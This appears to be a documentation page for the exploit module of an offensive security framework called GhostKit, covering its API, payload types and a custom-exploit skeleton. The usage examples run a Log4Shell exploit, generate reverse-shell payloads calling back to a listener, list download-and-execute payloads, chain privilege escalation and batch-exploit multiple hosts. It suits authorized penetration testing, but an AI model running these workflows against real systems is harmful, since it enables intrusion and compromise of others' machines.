Skip to content

Exploit Engine Module

Overview

The Exploit Engine is GhostKit's core exploitation framework, providing a unified interface for launching and managing exploitation across various target types. It supports CVE-based exploits, custom payloads, and post-exploitation capabilities.

⚠️ SECURITY WARNING ⚠️

This module contains powerful exploitation capabilities that could cause damage to systems or violate laws if misused. Only use against systems you have explicit permission to test.

Features

  • Exploit Library: Pre-built exploits for common vulnerabilities
  • Custom Payload Generation: Create and customize attack payloads
  • Multi-stage Exploitation: Chain exploits for complex attack scenarios
  • Target Verification: Validate vulnerability existence before exploitation
  • Flexible Transport: Support for various delivery mechanisms (HTTP, SMB, raw TCP)

Architecture

The Exploit Engine follows a modular architecture:

exploit_engine.py
├── ExploitEngine (main class)
├── ExploitTemplate (base class for all exploits)
├── PayloadGenerator (payload creation)
├── ExploitResult (standardized output)
└── Transport (communication mechanisms)

Usage

Basic Usage

from modules.exploit_engine import ExploitEngine

# Initialize the engine
engine = ExploitEngine()

# List available exploits
exploits = engine.list_exploits()
print(exploits)

# Run an exploit
result = engine.run_exploit(
    exploit_name="CVE-2021-44228", 
    target="192.168.1.100",
    port=8080
)

# Check result
if result.success:
    print(f"Exploit successful: {result.details}")
    print(f"Session ID: {result.session_id}")
else:
    print(f"Exploit failed: {result.error}")

Command Line Interface

# Basic exploit execution
python ghostkit.py --module exploit_engine --exploit CVE-2021-44228 --target 192.168.1.100 --port 8080

# With custom payload
python ghostkit.py --module exploit_engine --exploit CVE-2021-44228 --target 192.168.1.100 --payload-type reverse_shell --lhost 192.168.1.10 --lport 4444

# Multiple targets
python ghostkit.py --module exploit_engine --exploit CVE-2021-44228 --target-list targets.txt --output results.json

API Reference

ExploitEngine Class

The main class for managing exploits and payloads.

Methods

Method Description Parameters Returns
__init__(config=None) Initialize the engine config: Optional configuration dict None
list_exploits() List all available exploits None List[Dict] of exploit information
get_exploit_details(name) Get detailed info for an exploit name: Exploit identifier Dict with exploit details
run_exploit(exploit_name, target, **kwargs) Execute an exploit exploit_name: Exploit ID
target: Target IP/hostname
**kwargs: Exploit-specific options
ExploitResult object
generate_payload(payload_type, **kwargs) Generate a payload payload_type: Type of payload
**kwargs: Payload options
bytes containing the payload
check_vulnerability(exploit_name, target, **kwargs) Check if target is vulnerable exploit_name: Exploit ID
target: Target IP/hostname
**kwargs: Options
Tuple[bool, str] - (is_vulnerable, details)

ExploitTemplate Class

Base class for implementing custom exploits.

Methods to Implement

Method Description Parameters Returns
check(target, port, **kwargs) Check if target is vulnerable target: Target IP/hostname
port: Target port
**kwargs: Options
Tuple[bool, str] - (is_vulnerable, details)
run(target, port, payload=None, **kwargs) Execute the exploit target: Target IP/hostname
port: Target port
payload: Optional payload
**kwargs: Options
ExploitResult object
get_info() Get exploit metadata None Dict with exploit details

ExploitResult Class

Standardized result object returned by exploits.

Attributes

Attribute Type Description
success bool Whether the exploit succeeded
target str Target that was exploited
exploit str Name of the exploit used
timestamp float Time of exploitation
details Dict Additional details about the exploitation
session_id Optional[str] Session ID if a session was established
error Optional[str] Error message if the exploit failed

Implementing Custom Exploits

Create a new exploit by extending the ExploitTemplate class:

from modules.exploit_engine import ExploitTemplate, ExploitResult

class CustomExploit(ExploitTemplate):
    def get_info(self):
        return {
            "name": "custom_exploit",
            "description": "Description of the exploit",
            "cve": "CVE-20XX-XXXXX",
            "author": "Your Name",
            "targets": ["Windows", "Linux"],
            "references": [
                "https://example.com/reference1",
                "https://example.com/reference2"
            ]
        }

    def check(self, target, port, **kwargs):
        # Implement vulnerability check
        try:
            # Check logic here
            is_vulnerable = True
            details = "Target appears vulnerable"
            return is_vulnerable, details
        except Exception as e:
            return False, f"Error during check: {str(e)}"

    def run(self, target, port, payload=None, **kwargs):
        # Implement exploitation logic
        try:
            # Run the exploit
            # ...

            # Return result
            return ExploitResult(
                success=True,
                target=target,
                exploit=self.get_info()["name"],
                details={"some_key": "some_value"},
                session_id="session123"
            )
        except Exception as e:
            return ExploitResult(
                success=False,
                target=target,
                exploit=self.get_info()["name"],
                error=str(e)
            )

Then register your exploit with the engine:

# In your custom module
from modules.exploit_engine import register_exploit
from your_module import CustomExploit

# Register the exploit
register_exploit(CustomExploit)

Payload Generation

The exploit engine supports various payload types:

Supported Payload Types

Type Description Required Parameters
reverse_shell Reverse shell payload lhost, lport
bind_shell Bind shell payload port
command Command execution payload command
download_execute Download and execute payload url
custom Custom payload data

Example Usage

# Generate a reverse shell payload
payload = engine.generate_payload(
    payload_type="reverse_shell",
    lhost="192.168.1.10",
    lport=4444,
    format="python",
    encode=True
)

# Use the payload in an exploit
result = engine.run_exploit(
    exploit_name="CVE-2021-44228",
    target="192.168.1.100",
    port=8080,
    payload=payload
)

Advanced Usage

Multi-stage Exploitation

# Initial exploitation
stage1 = engine.run_exploit(
    exploit_name="web_rce",
    target="192.168.1.100",
    port=80,
    path="/vulnerable.php"
)

if stage1.success:
    # Use the established foothold for privilege escalation
    stage2 = engine.run_exploit(
        exploit_name="linux_privilege_escalation",
        target="192.168.1.100",
        session_id=stage1.session_id
    )

    if stage2.success:
        print("Full compromise achieved!")

Batch Exploitation

# Define targets
targets = [
    {"ip": "192.168.1.100", "port": 80},
    {"ip": "192.168.1.101", "port": 8080},
    {"ip": "192.168.1.102", "port": 443}
]

# Run exploit against all targets
results = []
for target in targets:
    result = engine.run_exploit(
        exploit_name="CVE-2021-44228",
        target=target["ip"],
        port=target["port"]
    )
    results.append(result)

# Analyze results
successful = [r for r in results if r.success]
print(f"Successfully exploited {len(successful)}/{len(targets)} targets")

Security Considerations

Responsible Usage

  • Always obtain proper authorization before testing
  • Document all exploitation activities
  • Limit scope to approved targets
  • Use the minimum necessary payload

Defensive Considerations

  • All exploits are logged with timestamps and target information
  • Payloads can be tagged for later identification
  • Consider using the --check-only flag to validate without exploitation

Troubleshooting

Issue Possible Solution
Connection timeout Check network connectivity, firewall rules
Exploit fails Verify target is vulnerable with --check-only
Payload execution fails Ensure proper encoding and escaping
Session lost Check for security mechanisms terminating connections

References